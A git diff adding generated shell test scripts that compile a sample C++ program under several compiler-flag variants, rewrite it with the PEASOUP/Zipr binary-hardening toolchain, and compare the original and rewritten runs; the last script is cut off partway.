+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e04ca794b0b614ccd0bac67931bca74f582f0f5c
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..685299aed61521a0dd129cd14d004a2316b54b2e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f493d9d7093b53adbe619d2c5489c3b99e140025
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..358a59f7cee6a2941110002d7ceeca70552f95bf
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f6cab81b4bb1088f3f1ace46e1a685e398e8e1b2
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..244d43b1679d684d49ae82407f0b92f743f767aa
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
